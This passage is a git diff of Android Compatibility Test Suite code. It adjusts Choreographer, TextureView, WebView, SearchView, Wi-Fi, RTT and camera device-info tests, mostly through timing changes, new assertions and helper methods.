index ab4ce58..fbf9f9a 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -408,16 +408,25 @@
     Callback* cb64 = new Callback("cb64");
     auto start = now();
 
+    auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
+                           NOMINAL_VSYNC_PERIOD)
+                           .count();
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
     AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
     AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
 
     std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
-    ALooper_pollAll(16, nullptr, nullptr, nullptr);
+    // Ensure that callbacks are seen by the looper instance at approximately
+    // the same time, and provide enough time for the looper instance to process
+    // the delayed callback and the requested vsync signal if needed.
+    ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
     verifyRefreshRateCallback(env, cb, 1);
-    verifyCallback(env, cb64, 1, start, DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11);
+    verifyCallback(env, cb64, 1, start,
+                   DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
     const auto delayToTestFor32Bit =
-            sizeof(long) == sizeof(int64_t) ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11 : ZERO;
+        sizeof(long) == sizeof(int64_t)
+            ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
+            : ZERO;
     verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
     AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
 }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 66b1539..7ab5143 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -19,6 +19,7 @@
 import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
 import static android.opengl.GLES20.glClear;
 import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glFinish;
 
 import android.app.Activity;
 import android.content.pm.ActivityInfo;
@@ -258,6 +259,7 @@
         int surfaceUpdateCount = mSurfaceUpdatedCount;
         runOnGLThread(() -> {
             callback.drawFrame(mSurfaceWidth, mSurfaceHeight);
+            glFinish();
             if (!mEgl.eglSwapBuffers(mEglDisplay, mEglSurface)) {
                 throw new RuntimeException("Cannot swap buffers");
             }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 22052e1..6a1c4d6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -770,17 +770,10 @@
         Thread.sleep(1000);
         assertEquals("Loaded", mOnUiThread.getTitle());
 
-        // Test that when AppCache is enabled and a valid path is provided, we
-        // get an AppCache callback of some kind.
-        mSettings.setAppCachePath(getActivity().getDir("appcache", 0).getPath());
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        new PollingCheck(WEBVIEW_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return mOnUiThread.getTitle() != null
-                        && mOnUiThread.getTitle().endsWith("Callback");
-            }
-        }.run();
+        // We used to test that when AppCache is enabled and a valid path is
+        // provided, we got an AppCache callback of some kind, but AppCache is
+        // deprecated on the web and will be removed from Chromium in the
+        // future, so this test has been removed.
     }
 
     // Ideally, we need a test case for the enabled case. However, it seems that
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
index 7e8bd68..d752773 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -43,6 +43,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -288,27 +289,24 @@
         when(mockQueryTextListener.onQueryTextSubmit(anyString())).thenReturn(Boolean.TRUE);
         mSearchView.setOnQueryTextListener(mockQueryTextListener);
 
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setQuery("alpha", false);
             mSearchView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_ENTER);
 
         verify(mockQueryTextListener, times(1)).onQueryTextChange("alpha");
         verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("alpha");
 
-        mInstrumentation.waitForIdleSync();
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setQuery("beta", false);
             mSearchView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_NUMPAD_ENTER);
 
         verify(mockQueryTextListener, times(1)).onQueryTextChange("beta");
         verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("beta");
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
index e0cd2e2..2c5c398 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -46,6 +46,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
@@ -246,34 +247,34 @@
                 spy(new MyQueryTextListener());
         when(mockQueryTextListener.onQueryTextChange(anyString())).thenCallRealMethod();
 
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setIconifiedByDefault(false);
             mSearchView.setOnQueryTextListener(mockQueryTextListener);
             mSearchView.setOnSuggestionListener(mockSuggestionListener);
             mSearchView.requestFocus();
+            mSearchView.setQuery("Di", false);
         });
 
-        mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Di", false));
         mInstrumentation.waitForIdleSync();
         verify(mockQueryTextListener, times(1)).onQueryTextChange("Di");
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+                KeyEvent.KEYCODE_ENTER);
 
-        // Just to be sure, verify that our spy suggestion listener was called
+        // Verify that our spy suggestion listener was called.
         verify(mockSuggestionListener, times(1)).onSuggestionClick(0);
 
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
+            mSearchView.setQuery("Bo", false);
+        });
 
-        mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Bo", false));
         mInstrumentation.waitForIdleSync();
         verify(mockQueryTextListener, times(1)).onQueryTextChange("Bo");
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+                KeyEvent.KEYCODE_NUMPAD_ENTER);
 
-        // Just to be sure, verify that our spy suggestion listener was called
+        // Verify that our spy suggestion listener was called.
         verify(mockSuggestionListener, times(2)).onSuggestionClick(0);
 
         verifyNoMoreInteractions(mockSuggestionListener);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
                     mMySync.pendingSync.set(MySync.NETWORK_INFO);
                     mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
                             WifiP2pManager.EXTRA_NETWORK_INFO, null);
+                    Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+                            + mMySync.expectedNetworkInfo);
                     mMySync.notify();
                 }
             }
@@ -520,6 +522,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
     }
 
     private String getDeviceName() {
@@ -604,6 +610,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         WifiP2pGroupList persistentGroups = getPersistentGroups();
         assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         resetResponse(mMyResponse);
         ShellIdentityUtils.invokeWithShellPermissions(() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
index 3e9fef4..4876ff0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
@@ -29,4 +29,9 @@
         PackageManager packageManager = context.getPackageManager();
         return packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI_DIRECT);
     }
+
+    public static boolean isTelephonySupported(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 0b548fb..fd61914 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -632,10 +632,10 @@
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
-        boolean onSoftapInfoChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
         boolean onBlockedClientConnectingCalled = false;
+        int onSoftapInfoChangedCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -647,9 +647,9 @@
             }
         }
 
-        public boolean getOnSoftapInfoChangedCalled() {
+        public int getOnSoftapInfoChangedCalledCount() {
             synchronized(softApLock) {
-                return onSoftapInfoChangedCalled;
+                return onSoftapInfoChangedCalledCount;
             }
         }
 
@@ -734,7 +734,7 @@
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
                 currentSoftApInfo = softApInfo;
-                onSoftapInfoChangedCalled = true;
+                onSoftapInfoChangedCalledCount++;
             }
         }
 
@@ -1472,7 +1472,7 @@
                     executor.runAll();
                     // Verify callback is run on the supplied executor and called
                     return callback.getOnStateChangedCalled() &&
-                            callback.getOnSoftapInfoChangedCalled() &&
+                            callback.getOnSoftapInfoChangedCalledCount() > 0 &&
                             callback.getOnSoftApCapabilityChangedCalled() &&
                             callback.getOnConnectedClientCalled();
                 });
@@ -1633,8 +1633,9 @@
                     "SoftAp channel and state mismatch!!!", 5_000,
                     () -> {
                         executor.runAll();
-                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState() &&
-                                2462 == callback.getCurrentSoftApInfo().getFrequency();
+                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
+                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
+                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
                     });
 
             // stop tethering which used to verify stopSoftAp
@@ -2311,9 +2312,11 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                .getNetworkCountryIso();
-        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        if (WifiFeature.isTelephonySupported(getContext())) {
+            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                    .getNetworkCountryIso();
+            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        }
     }
 
     /**
@@ -2778,14 +2781,6 @@
             // Now trigger scan and ensure that the device does not connect to any networks.
             mWifiManager.startScan();
             ensureNotConnected();
-
-            // Toggle Wifi off/on should clean the state.
-            setWifiEnabled(false);
-            setWifiEnabled(true);
-
-            // Trigger a scan & wait for connection to one of the saved networks.
-            mWifiManager.startScan();
-            waitForConnection();
         } finally {
             uiAutomation.dropShellPermissionIdentity();
             setWifiEnabled(false);
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
index 8e316e6..a692f12 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
@@ -89,4 +89,12 @@
             manager.getTxPacketCounters("wlan0");
         } catch (Exception ignore) {}
     }
+
+    @Test
+    public void testSetOnServiceDeadCallback() {
+        try {
+            WifiNl80211Manager manager = mContext.getSystemService(WifiNl80211Manager.class);
+            manager.setOnServiceDeadCallback(() -> {});
+        } catch (Exception ignore) {}
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 07d5718..a721326 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -52,6 +52,9 @@
     // wait for Wi-Fi scan results to become available
     private static final int WAIT_FOR_SCAN_RESULTS_SECS = 20;
 
+    // wait for network selection and connection finish
+    private static final int WAIT_FOR_CONNECTION_FINISH_MS = 30_000;
+
     protected WifiRttManager mWifiRttManager;
     protected WifiManager mWifiManager;
     private LocationManager mLocationManager;
@@ -96,8 +99,10 @@
         mWifiLock.acquire();
         if (!mWifiManager.isWifiEnabled()) {
             SystemUtil.runShellCommand("svc wifi enable");
+            // Turn on Wi-Fi may trigger connection. Wait connection state stable.
+            scanAps();
+            Thread.sleep(WAIT_FOR_CONNECTION_FINISH_MS);
         }
-
         IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(WifiRttManager.ACTION_WIFI_RTT_STATE_CHANGED);
         WifiRttBroadcastReceiver receiver = new WifiRttBroadcastReceiver();
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index ca14b0e..458917d 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -49,7 +49,7 @@
     private static final int MAX_FAILURE_RATE_PERCENT = 10;
 
     // Maximum variation from the average measurement (measures consistency)
-    private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 1000;
+    private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 2000;
 
     // Minimum valid RSSI value
     private static final int MIN_VALID_RSSI = -100;
@@ -176,10 +176,12 @@
                         + ", AP SSID=" + testAp.SSID,
                 numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
         if (numFailures != NUM_OF_RTT_ITERATIONS) {
-            double distanceAvg = distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
-            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold",
+            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                            + (distanceMax - distanceAvg),
                     (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
-            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold",
+            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                            + (distanceAvg - distanceMin),
                     (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
             for (int i = 0; i < numGoodResults; ++i) {
                 assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
@@ -247,7 +249,9 @@
         assertEquals("Ranging request not success",
                 result.getStatus(), RangingResult.STATUS_SUCCESS);
         ResponderLocation responderLocation = result.getUnverifiedResponderLocation();
-        assertNotNull("ResponderLocation should not be null", responderLocation);
+        if (responderLocation == null) {
+            return;
+        }
         assertTrue("ResponderLocation is not valid", responderLocation.isLciSubelementValid());
 
         // Check LCI related APIs
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 698990f..e0fcbb0 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -41,6 +41,8 @@
 import java.lang.reflect.Modifier;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 
@@ -79,6 +81,23 @@
             return;
         }
 
+        public void storePhysicalCameraInfo(String cameraId, List<String> logicalCameras)
+                throws Exception {
+            try {
+                CameraCharacteristics chars = mCameraManager.getCameraCharacteristics(cameraId);
+                mStore.startGroup(); // per camera chars
+                mStore.addResult("cameraId", cameraId);
+                mStore.addListResult("parentLogicalCameraIds", logicalCameras);
+                storeCameraChars(chars);
+                mStore.endGroup(); // per camera chars
+            } catch (CameraAccessException e) {
+                Log.e(TAG,
+                        "Unable to get camera camera static info, skip this camera, error: "
+                                + e.getMessage());
+            }
+            return;
+        }
+
         private void storeRational(
                 Rational rat, String protoName) throws Exception {
             if (protoName == null) {
@@ -420,6 +439,8 @@
                 getContext().getSystemService(Context.CAMERA_SERVICE);
         try {
             String[] cameraIdList = cameraManager.getCameraIdList();
+            HashMap<String, ArrayList<String>> physicalLogicalIdMap =
+                    new HashMap<String, ArrayList<String>>();
             store.addResult("num_of_camera", cameraIdList.length);
             if (cameraIdList.length > 0) {
                 CameraCharacteristicsStorer charsStorer =
@@ -427,8 +448,32 @@
                 store.startArray("per_camera_info");
                 for (int i = 0; i < cameraIdList.length; i++) {
                     charsStorer.storeCameraInfo(cameraIdList[i]);
+
+                    // Get the physical camera ids
+                    CameraCharacteristics ch = cameraManager.getCameraCharacteristics(
+                            cameraIdList[i]);
+                    for (String physicalId : ch.getPhysicalCameraIds()) {
+                        if (physicalLogicalIdMap.get(physicalId) == null) {
+                            physicalLogicalIdMap.put(physicalId, new ArrayList<String>());
+                        }
+                        physicalLogicalIdMap.get(physicalId).add(cameraIdList[i]);
+                    }
                 }
                 store.endArray(); // per_camera_info
+
+                // Store characteristics for hidden physical camera ids
+                for (int i = 0; i < cameraIdList.length; ++i) {
+                    physicalLogicalIdMap.remove(cameraIdList[i]);
+                }
+                if (physicalLogicalIdMap.size() > 0) {
+                    store.addResult("num_of_hidden_physical_camera", physicalLogicalIdMap.size());
+                    store.startArray("per_hidden_physical_camera_info");
+                    for (String physicalId : physicalLogicalIdMap.keySet()) {
+                        charsStorer.storePhysicalCameraInfo(physicalId,
+                                physicalLogicalIdMap.get(physicalId));
+                    }
+                    store.endArray(); // per_hidden_physical_camera_info
+                }
             }
         } catch (CameraAccessException e) {
             Log.e(TAG,